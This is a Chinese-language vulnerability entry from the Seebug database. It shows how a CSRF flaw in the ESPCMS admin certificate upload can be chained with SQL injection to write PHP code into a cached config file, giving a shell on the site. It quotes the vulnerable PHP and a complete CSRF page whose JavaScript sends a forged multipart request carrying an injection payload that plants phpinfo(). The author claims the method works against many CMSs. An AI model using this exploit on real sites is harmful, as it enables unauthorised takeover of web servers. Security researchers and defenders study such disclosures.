ESPCMS_csrf利用后台sql注射getshell

2014-08-12T00:00:00
ID SSV:94395
Type seebug
Reporter Root
Modified 2014-08-12T00:00:00

Description

简要描述:

这两天再写csrf的一些东西,所以拿了ESPCMS做了一个演示,这里只是其中一个意外发现,后续还有csrf更狠的地方,总之一句话漏洞利用是一门艺术,我会提供一个csrf另外一种思路去让管理员只交互一次,然后轻松拿下站点shell,就我分析应该各大cms,都可以按照这个思路去做!!!

详细说明:

好了 废话不多说了 首先我们安装完毕espcms 然后登录到后台

<img src="https://images.seebug.org/upload/201408/09111129fa43f6cf88d487ae0b035a081aa5fa60.png" alt="1.png" width="600" onerror="javascript:errimg(this);">

问题就出在了,上传证书这一块,直接看代码, adminsoft/control/management.php:(lines:802-815)

if (!file_exists($filetmpname)) { $isupfiletrue = 'false'; } $datacontent = file_get_contents($filetmpname); if (empty($datacontent)) { $isupfiletrue = 'false'; } if ($isupfiletrue != 'false') { $db_table = db_prefix . 'config'; $db_where = "valname='cer_key'"; $db_set = "value='$datacontent'"; $this-&gt;db-&gt;query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where); $db_where = "valname='cer_file'"; $db_set = "value='111111'"; $this-&gt;db-&gt;query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where); $this-&gt;systemfile(true); $this-&gt;calldialogmessage($this-&gt;lng['management_upfile_text_ok_js'], $this-&gt;lng['management_upfile_text_exit_bottonok'], '', 0, 1, 'locationout'); } $this-&gt;ectemplates-&gt;assign('digheight', $digheight); $this-&gt;ectemplates-&gt;assign('isupfiletrue', $isupfiletrue); $this-&gt;ectemplates-&gt;display('admin/admin_upfile');

这里直接读进来文件,然后进行sql操作,产生了注入点,并且内容完全可控 经过测试这个上传文件的过程存在csrf,这里就不多做演示了 下来我们来分析一下,惊奇的发现datacache/command.php 这个东西就是缓存配置的,我们只一个点

<img src="https://images.seebug.org/upload/201408/09112036c01f7ebe398d5d8e783f8e2e9f90642c.png" alt="2.png" width="600" onerror="javascript:errimg(this);">

构造csrf表单:

&lt;html&gt; &lt;body&gt; &lt;script&gt; function csrf_sql(){ var xhr = new XMLHttpRequest(); xhr.open("POST", "http://192.168.47.131/ESPCMSV6000140708_INSTALLhttps://images.seebug.org/upload/adminsoft/index.php", true); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------277302291911927"); xhr.withCredentials = "true"; var sql = "10);\r\n phpinfo();\r\n$a=array(123456=&gt;1' WHERE valname='order_integral'-- "; var body='-----------------------------277302291911927\r\nContent-Disposition: form-data; name="point"\r\n\r\nadmin\r\n-----------------------------277302291911927\r\nContent-Disposition: form-data; name="archive"\r\n\r\nmanagement\r\n-----------------------------277302291911927\r\nContent-Disposition: form-data; name="action"\r\n\r\ncerfilecheck\r\n-----------------------------277302291911927\r\nContent-Disposition: form-data; name="digheight"\r\n\r\n250\r\n-----------------------------277302291911927\r\nContent-Disposition: form-data; name="cerupfilepath"; filename="she.jpg"\r\nContent-Type: image/jpeg\r\n\r\n'+sql+'\r\n-----------------------------277302291911927\r\nContent-Disposition: form-data; name="Submit"\r\n\r\nå¼\x80å§\x8béª\x8cè¯\x81\r\n-----------------------------277302291911927--\r\n'; var aBody = new Uint8Array(body.length); for (var i = 0; i &lt; aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } csrf_sql(); &lt;/script&gt; &lt;/body&gt; &lt;/html&gt;

这个表单构造好了,发包前这个文件是这样的:

<img src="https://images.seebug.org/upload/201408/0911350690b8bec2fed37a09e856caceaee9f4e4.png" alt="3.png" width="600" onerror="javascript:errimg(this);">

发送请求后的此文件为:

<img src="https://images.seebug.org/upload/201408/09113558af5a9e648208dd14f8d92144b37de224.png" alt="4.png" width="600" onerror="javascript:errimg(this);">

然后我们访问一下文件看一下,是否执行了:

<img src="https://images.seebug.org/upload/201408/09113638008e776eed78b01e84492f2073f254fc.png" alt="5.png" width="600" onerror="javascript:errimg(this);">

漏洞证明: